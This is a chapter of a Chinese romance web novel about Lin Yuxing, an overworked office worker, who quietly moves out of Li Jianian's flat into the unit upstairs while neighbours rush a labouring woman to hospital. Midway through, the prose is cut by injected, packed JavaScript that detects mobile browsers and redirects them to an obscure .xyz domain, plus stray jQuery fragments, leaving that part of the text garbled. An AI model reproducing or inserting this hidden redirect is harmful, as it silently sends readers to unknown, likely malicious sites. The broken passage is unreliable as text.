接连一星期，加班不断。
从八点到九点，又从九点到十点，偶尔是十一点。
末班车23:30分，深夜依然挤满下班的人。
头顶车灯黯淡，照得人仿佛游魂般浑噩不清。
林予星一开始不明白为什么地铁上总有睡着的人，嘴巴张的大大的，蓬头垢面，身上色彩都仿佛洗涤多次后褪色的衣物，泛白陈旧。在接连几日加班下，她也成为了这样的人。
更确切来说，她们、他们，都活成了它们。
或许未来会好，但现在不过是出厂合格的零件，等到身心俱疲之时，要么打磨一番后跳槽，要么更新迭代。更甚者，丢进废弃厂，不再回收利用，混着废渣成为钢筋泥土下微不足道的一粒沙。
不想被卷入时代车轮底下，沦为牺牲品，她只能咬牙撑过这最艰难的时刻，不让生存压力将自己压垮。
手机震动，将地铁上熟睡的人震醒。
林予星这才发现自己居然靠在车厢壁上睡着，她打开手机看去，三条消息蹦出，是不同的人。
[周栗：好好休息，以后我会尽量和你一起。放心，他有贼心没贼胆。]
林予星把自己上星期觉察才哥不对，甚至不太舒服的地方告诉周栗，周栗却让自己安心，继续学习工作，刻意发信息过来安抚……
迟钝的大脑缓速运转，她有种预感，普兰顿工作室第三位合伙人，就是才哥女朋友，其实能看到摄像头，不然无法解释才哥靠近自己时那恰到好处的一通电话，更不可能让周栗主动说出这番话。
万事周全的人总会把话说的圆满体面。
最后一句，看起来不像周栗的风格。
如果是这样……
那林予星稍微放下心，给周栗回了个好。
伸手点左上角返回，点开第二条信息。
[程芷琳：我准备换工作了，外包好惨，他们正式工今天发油粮面，我什么都没有，还要过来阴阳怪气（流泪/流泪/流泪.jpg）。]
正式员工和外包差的不仅是福利待遇，职场中隐形的等级歧视也让人不好过。
身处同一食堂，正式工与外包都要隔着一堵墙。
都是打工的，谁又比谁高贵？
因为这点特殊，久而久之便以为自己也是上一阶层，利用自己手头上的权力，尽全力去为难底下人。
资本将人异化，分割团体，让身处温箱中的蚁群相互监督，自相残杀。
若是公司绩效好，上头全当看不见，总归烧不到他们身上。
但若遇上裁员，上边发话，这一串人就会跟剥玉米粒一样，脱离主体，游散各地。
林予星拿起手机，删了又打，打了又删，最终还是发过去一句。
[X：记得骑驴找马，不要轻易裸辞。要是没地方住，等我搬好家你过来。]
她只能说到这。
月薪一千，住着别人房子，每个月贷款上班，她实在有心无力，想帮也没办法帮。
等了会，程芷琳没有回。
估计是睡了，这么晚了还在加班回去路上的只有她。
正想着，地铁播报响起。
“列车即将到达芳华站，请小心列车与站台之间的空隙。”
林予星清醒过来，拎起帆布包，匆忙间按到手机屏幕，点了返回。
走至车厢门，下了车，出地铁口。
外边再次下雨，播报的冷空气回温，再过一星期就是立夏。
她呼吸一口雨天潮湿的空气让自己清醒些，按下电源键亮起屏幕去看。
第三个发信息过来的是黎嘉年。
[JN：楼上租客今天搬走了，我让阿姨打扫干净了，你明天有空搬家吗？没空的话再在我家住一段时间吧。]
她哪敢再住下去。
二人生活习惯完全相反，她散漫无序，在自己领地时随地大小躺。他整洁干净，酱油瓶都有特定的位置，出门进门必喷酒精，连别西卜这种精力旺盛的比格犬都闻不到多少狗味。
再继续和他生活，就必须在他搭建的框架里走动，稍微越过界限，可能就会惹人反感。林予星想想就难受，她习惯自己一个人，实在没办法改变。
就这么几分钟路程，如果他还没睡，今晚就搬吧？
林予星想着，撑开破旧的雨伞，急匆匆往小区赶去。
快要十二点。
人行道上没有多少人，电动车也少许多。
五彩缤纷的霓虹灯关闭，死气沉沉悬挂在店门上，路灯昏暗，依稀可见上面文字。
卷帘门贴着各色小广告，有的被铲下来，留下发黄胶痕，仿佛一块疤盖在上面。
伞尖雨水滴滴答答映着微光在眼前落下，汪着白的反光、黄的路灯、红的车尾灯，装满这扭曲的世界，在地上砸成圈圈涟漪。
直到明黄越来越多，几乎灌满雨滴。
四周昏黑，小区门口的路灯却像要照亮方圆百里，明亮的不可思议。
疲惫双眼被这抹光刺疼，林予星稍稍挪开伞，抬头去看路灯。
水蚁仅剩寥寥几个绕着灯火飞舞，地上应是经过一轮雨水清洗，不剩多少尸体。
脏水混着浊物与颗粒流入下水道口，她听到"滴"一声，小区伸缩门开了。
与此同时，远处传来骂骂咧咧动静，在夜里几乎能清晰听到。
保安亭窗户打开。
"靓女，咁夜翻黎，加班呐？"满头花白的老人打开窗户，探出头来。
林予星点头，撑起疲惫笑意："嗯，加班。谢谢阿伯，这么晚还帮我开门。"
"咁辛苦，不如叫靓仔房东同你介绍翻工啦。"
她不回答，只笑笑走进小区。
没了栅栏遮挡视线，林予星往前望去，终于看到在大半夜发出动静的是哪。
附近阿姨三三两两聚集，喊着骂着让自己老伴回家拿东西。
袋子鼓鼓囊囊，用雨衣罩住，塞到空着的脚踏板上。
在她们中间，刘杰妻子被她们七手八脚扶上电动车，足月的肚子很大很大，像罩在粉色棉布下的瓷瓦罐，被小心翼翼放在后座上，浮肿四肢宛如粗麻绳，网住圆滚滚的罐子不让它掉下去。
林予星路过时听了两耳朵，这才听清她们究竟在吵什么。
刘杰妻子要生了，可是刘杰没有准备备产包，更不想花钱叫救护车。
她驻足于屋檐下，望向人群。
目光下移时，她忽然发现刘杰妻子粉色孕妇裙下有片暗色，丝丝缕缕腥臭混着风雨吹来，有种避不开的惘然。
远处，刘杰磨磨蹭蹭想穿个雨衣，结果储藏雨衣的地方被他老婆坐着，这么多人在他不好意思叫自己老婆起来，欲言又止下被阿姨叔叔们催着上路。
"行啦！某遮啊！"
"雷老婆咁样，你仲唔快点送去医院。"
"大男人，淋点雨水又点！喇喇声开车。"
"走啊！"刘杰妻子捂着肚子，脸上分不清是汗还是雨水，凝结在她发梢上。
她疼得用手捶了下刘杰后腰，在男人投下的影子中，看不清神情。
电动车总算驶动，刘杰淋着雨，带着后座罩上蓝色儿童雨衣的女人快速离开。
雨天路滑，他开太快，险些滑倒，被急急忙忙跑出来帮忙的保安扶了下。
见他这样，那群路过帮忙的阿姨叔叔们骂得更厉害，纷纷指责他没点用，在这关口掉链子。
从小区到医院，开电动车十分钟就能到，他却连这十分钟都撑不起来。
林予星耳边听邻居们各种粤韵风华，眼睛却盯着电动车后座的女人，直到她们消失在转角处，终于收回视线，在没人注意到的角落打开防盗门上楼。
伞尖回收成一束，在夜里留下蜿蜒墨色痕迹。
她没有回黎嘉年家，而是上楼看了看自己即将搬去的地方。
门没有锁，她轻而易举就能进去。
望见里面黑魆魆一片，她摸索着去开灯。
"哒"灯光大亮。
和原先单间格局镜像反转而已，空间大许多，家具也多了不少。
她将伞挂在窗口，脱鞋走进去。
地板沁凉，透过米白薄袜传入脚掌。
应是除湿过，并不如何潮，空气中甚至隐约浮动柠檬香气。
穿过客厅，来到床边，应该是黎嘉年给她准备的被子枕头，罩了一层布放在床头。
零零碎碎的还有许多新用具，白色台灯、苹果水杯、甚至床尾书桌放了面梳妆镜。
日常所需基本全齐。
林予星打开抽屉，看到里面有张便利贴，字迹清晰隽秀，牵丝映带，很漂亮的行书，应是小时候练过。
[给你买的，不用再买了。也不用想着怎么报答，有空请我吃顿饭就行。]
捏着纸条的手紧了紧。
习习似椒的酸涩与疼袭来，她眼睛蓦地发红发疼。
林予星微微仰头，想把这刻脆弱连同眼泪一起咽回去，结果看到天花板上崭新云朵形灯盏时愈发想哭。
黎欣和自己在一起时，处处照顾她，分手也体面温柔。
轮到她弟黎嘉年，是比黎欣还要难以拒绝的体贴入微。
这种好时隔多年，仍旧令她无所适从。
"多赚钱啊，予星。"她轻声喊出自己的名字，又道，"学好了，往高处走。有空做个兼职，一切都会好起来的。"
一切都会好起来的。
林予星收拾好心情，没有关闭此处灯光，下楼后回到黎嘉年家里。
墙上时钟指向十二点。
客厅灯还开着，是专门为她留的。
他早睡早起，別西卜却是精力旺盛，见到她回来，摇着尾巴上来要摸。
陪它玩了会布团球，林予星轻声说："你乖乖的啊，我要搬走了，好好陪他。"
"汪……呜呜……"它高亢只叫了一声，立刻被林予星掐住嘴筒子，手动静音。
这个雨夜，依旧安静。
雨势到后半夜愈发大，遮掩许多声响。
一道身影从楼下走到楼上，来来回回走了两趟。
等到最后一次出现时，已是凌晨。
关上灯，就如这栋楼闭上黄澄澄的眼睛，陷入安眠。
白日有雨。
醒来时周身酸痛。
黎嘉年坐在床上缓了缓，迷迷糊糊拿起床头柜上的手机。
屏幕亮起。
才八点整。
真是上班上傻了，到现在都改不过来。
他再度倒回床，刚想放任自己睡个回笼觉，突然想起昨夜发的信息林予星似乎没有回。
住在同一屋檐下，她晚出晚归，他骨折复工后早起早回，两人时间差距太大，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826784|168101||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他摸不清她的行踪，只知道她加班越来越晚。
她该不会一整晚没回来？
加了个通宵？
黎嘉年想到这，慢慢起身，听了听屋外动静，发现安静的有些诡异。
他迅速踩上家居鞋，打开房间门去看斜对门房间——那曾经是黎欣住的地方。
意外的是，向来紧闭的屋门这次打开了。
不仅打开了，里边什么都没了。
他愣了愣，拉开门，走到林予星曾住过的房间外。
里头关于她的私人物件的确都没了，一根头发都没落下。
小物件摆放的整整齐齐，床上用具甚至洗过烘过一轮，折叠齐整放在床上。
别西卜听到动静，叼着狗绳过来，想让黎嘉年带它出去玩，兴奋“汪汪”两声后倒在地上摊开肚皮。
黎嘉年沉默。
他低头去看地板，拖过。
犄角旮旯，擦过。
再去看狗，洗过。
一尘不染。
仿佛没人住过。
黎嘉年说不清是什么滋味，他当然知道她去了哪，正是因为知道，所以觉得有些难过。
“汪汪！”别西卜哼哼唧唧叫着，闹腾不已，两只大眼睛里满是渴望。
心里那点气撒在它身上。
黎嘉年不轻不重拍了下它屁股：“她走你不叫我。”
“汪！”它以为他在跟它玩闹，前肢趴下，摇着尾巴撅起屁股，两只长耳朵垂落在地，是个邀请玩耍的姿势。
黎嘉年头疼，轻声骂了句脏话，走进林予星房间。
环顾四周，倒也不是什么都没留。
留了张纸。
他拿起一看，是她的字迹。
正楷偏草，骨体刚硬，收尾凌厉，像刀一样锋利。
黎欣与她谈恋爱的那几年，不论是她的字迹还是她的画，黎嘉年都记得清清楚楚，几乎可以一眼就分辨。
[黎嘉年，谢谢你这几天的照顾，我把房间打扫干净啦。知道你有洁癖，所以用酒精拖过，別西卜我也顺手洗了。住的这几天，希望不会给你带来麻烦。抽屉里的纸条我看了～有钱了一定请你去酒楼吃饭～]
越看越不是滋味……
黎嘉年原本以为她至少要再住个两三天。
结果一觉醒来，人就已经离开。
她估计连钥匙都没拿，凭着对他，对黎欣弟弟这个身份的信任，拎包就上去住了。
他放下纸，越过別西卜，走到厨房冰箱。
保鲜区门打开，里面放满两人份蔬果，还有两碗昨天熬煮的癍痧凉茶，可以祛湿。
黎嘉年看着里面双人份的东西，沉默了很久很久。
久到冰箱以为没人，发出"叮叮"声提醒主人关门。
屋子里静悄悄的，除了別西卜没有任何声音。
如果林予星还在，这里不会显得这么空空荡荡，毫无人气。
她就算呆在房间不发出声音，呼吸也能穿过感情墙壁，穿过屏风木柜，抵达他心里。
就像一块石头，沉甸甸地压在放出的风筝线上。
父母不在，姐姐出国。
朝朝热闹，一瞬孤寂。
黎嘉年抿唇，将里面的鱼腥草熬煮出的凉茶拿出，倒进别西卜狗碗里。
“哼呜呜……汪……”别西卜看看碗里的水，又看看他，试探性地用鼻子拱拱狗绳。
它想出去玩！
不想喝凉茶！
黎嘉年冷冷看它："喝。"
別西卜磨蹭半晌，趴在地上死活不动，见他脸色不好，只能委委屈屈吐出舌头，边觑他脸色边舔完清橙色凉茶。
它肯喝，黎嘉年放下心，起身去处理灶台锅里的药材。
揭开砂锅盖，从楼下抓来的中药材已混杂成棕黑色。
夏枯草、金银花、蒲公英、菊花、罗汉果……
尽数倒进垃圾袋。
锅沿淌下淅淅沥沥药水，滴答如屋檐流下的水。
一滴接一串，像散落的透明糖粒，在地上融化成汁。
別西卜穿着黄色小雨衣兴致冲冲下楼，大耳朵晃得跟两片风扇叶似的。
它四处嗅闻，丝毫不管是不是雨天，歪着脑袋，黑色鼻子贴上红色塑料袋。
穿着紫色碎花上衣的奶奶看到他，笑眯眯问："靓仔房东，今日唔使翻工起咁早？要去边度？"
黎嘉年撑着伞，无奈道："放狗，随便行下。今日落雨边都不想去。"
"同你一起住的靓女仲咩没一起？"奶奶有些好奇，语气中多少有些暧昧。
他不得不收起懒散语气，认真道，"予星是我家姐朋友，我楼上寻日搬走咗，佢搬过去住，不会同我一直住落去。"
原来是这样。
奶奶收起调侃的心思，叹口气："系咁，雷咁大个仔，仲唔稳个女朋友？"
黎嘉年目光有瞬间偏移，又再次晃回，他不由自主软了语气："我有中意嘅人，仲等紧佢。"
等她出校园。
等她分手走出。
等她来到自己身边。
等了一年又一年，一岁又一岁。
要是行差踏错，就此结束，连做朋友都带着隔阂。
毕竟她是那样，随心所欲，防备心重，外冷内也冷的人。
能走进她心里的，只有天长日久的伴随。